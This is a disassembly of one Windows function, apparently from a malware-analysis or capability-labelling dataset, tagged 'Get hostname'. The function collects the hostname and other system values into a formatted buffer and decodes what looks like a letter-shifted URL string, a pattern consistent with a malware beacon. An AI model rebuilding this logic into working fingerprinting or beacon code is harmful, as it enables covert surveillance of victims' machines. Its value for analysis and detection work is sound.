Function at 0x10004601
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff818
pushal
push 0x10008caa
call sub.KERNEL32.dll_EnterCriticalSection
cmp dword [0x10008ab9], 0
je 0x10004627
cmp dword [0x10008ab9], 0x10
jb 0x1000462c
jmp 0x10004993
push 0x80
lea eax, [ebp - 0x80]
push eax
call sub.WS2_32.dll_gethostname
push 0x20
lea eax, [ebp - 0xa0]
push eax
call fcn.1000449d
push 0x20
lea eax, [ebp - 0x4f0]
push eax
call sub.ntdll.dll_RtlZeroMemory
push 0x21
lea eax, [ebp - 0xc1]
push eax
push 0x10008b2a
push 0x10008aea
call fcn.10004532
call fcn.10003fac
mov dword [ebp - 0x4d0], eax
push 0x10
lea eax, [ebp - 0x500]
push eax
call sub.ntdll.dll_RtlZeroMemory
mov al, byte [0x10008abd]
push eax
push dword [0x10008ab9]
push 0x10008abe
lea eax, [ebp - 0x500]
push eax
call fcn.1000314d
push 0xd2
lea eax, [ebp - 0x7d2]
push eax
call fcn.100036f7
push 0xe
lea eax, [ebp - 0x7e0]
push eax
call fcn.10003727
lea eax, [ebp - 0xc1]
push eax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x80]
push eax
push 0x10008bca
push dword [0x10008c4a]
lea eax, [ebp - 0x500]
push eax
push 0x10008b8a
push 0x10008b4a
push dword [0x10008c72]
push dword [0x10008c6e]
lea eax, [ebp - 0x7e0]
push eax
push dword [ebp - 0x4d0]
push 0x10008c4e
lea eax, [ebp - 0x4f0]
push eax
push 0x10008c76
push 0x10008b2a
push 0x10008aea
lea eax, [ebp - 0x7d2]
push eax
lea eax, [ebp - 0x4c1]
push eax
call sub.USER32.dll_wsprintfA
add esp, 0x4c
push 0xd2
lea eax, [ebp - 0x7d2]
push eax
call sub.ntdll.dll_RtlZeroMemory
push 0xe
lea eax, [ebp - 0x7e0]
push eax
call sub.ntdll.dll_RtlZeroMemory
push 0x10
lea eax, [ebp - 0x500]
push eax
call sub.ntdll.dll_RtlZeroMemory
push 0x800
push 0x40
call sub.KERNEL32.dll_GlobalAlloc
or eax, eax
je 0x10004993
mov dword [ebp - 0x4cc], eax
push 0x800
push 0x40
call sub.KERNEL32.dll_GlobalAlloc
or eax, eax
je 0x10004988
mov dword [ebp - 0x4c8], eax
lea eax, [ebp - 0x4c1]
push eax
push dword [ebp - 0x4c8]
call fcn.1000177b
push 5
lea eax, [ebp - 0x7e5]
push eax
call fcn.10003851
push dword [ebp - 0x4c8]
lea eax, [ebp - 0x7e5]
push eax
push dword [ebp - 0x4cc]
call sub.USER32.dll_wsprintfA
add esp, 0xc
push 5
lea eax, [ebp - 0x7e5]
push eax
call sub.ntdll.dll_RtlZeroMemory
cmp dword [0x10008265], 0
je 0x1000484b
cmp dword [0x10008265], 0x200
jae 0x1000484b
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
mov al, byte [0x10008269]
push eax
push dword [0x10008265]
push 0x1000826a
lea eax, [ebp - 0x700]
push eax
call fcn.1000314d
push dword [ebp - 0x4cc]
lea eax, [ebp - 0x700]
push eax
call fcn.1000186e
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
cmp dword [0x1000847a], 0
je 0x100048b1
cmp dword [0x1000847a], 0x200
jae 0x100048b1
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
mov al, byte [0x1000847e]
push eax
push dword [0x1000847a]
push str.iuuq_..999903247_bnl.umy4.qnru__rq
lea eax, [ebp - 0x700]
push eax
call fcn.1000314d
push dword [ebp - 0x4cc]
lea eax, [ebp - 0x700]
push eax
call fcn.1000186e
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
cmp dword [0x1000868f], 0
je 0x10004917
cmp dword [0x1000868f], 0x200
jae 0x10004917
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
mov al, byte [0x10008693]
push eax
push dword [0x1000868f]
push 0x10008694
lea eax, [ebp - 0x700]
push eax
call fcn.1000314d
push dword [ebp - 0x4cc]
lea eax, [ebp - 0x700]
push eax
call fcn.1000186e
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
cmp dword [0x100088a4], 0
je 0x1000497d
cmp dword [0x100088a4], 0x200
jae 0x1000497d
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
mov al, byte [0x100088a8]
push eax
push dword [0x100088a4]
push 0x100088a9
lea eax, [ebp - 0x700]
push eax
call fcn.1000314d
push dword [ebp - 0x4cc]
lea eax, [ebp - 0x700]
push eax
call fcn.1000186e
push 0x200
lea eax, [ebp - 0x700]
push eax
call sub.ntdll.dll_RtlZeroMemory
push dword [ebp - 0x4c8]
call sub.KERNEL32.dll_GlobalFree
push dword [ebp - 0x4cc]
call sub.KERNEL32.dll_GlobalFree
push 0x10008caa
call sub.KERNEL32.dll_LeaveCriticalSection
popal
xor eax, eax
leave
ret 4